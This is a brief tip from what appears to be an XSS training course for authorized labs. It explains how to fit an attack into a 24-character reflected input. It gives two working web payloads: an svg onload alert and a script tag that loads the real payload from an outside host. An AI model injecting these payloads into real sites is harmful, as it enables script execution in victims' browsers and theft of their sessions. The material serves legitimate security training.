Only 24 characters reflect. Golf it: <svg onload=alert()> is 20. Or load your real payload remotely: <script src=//x.rat>.
<svg onload=alert()>
<script src=//x.rat>
RatXSS Dojo · HackXpert Coaching · The XSS Rat · authorized lab use only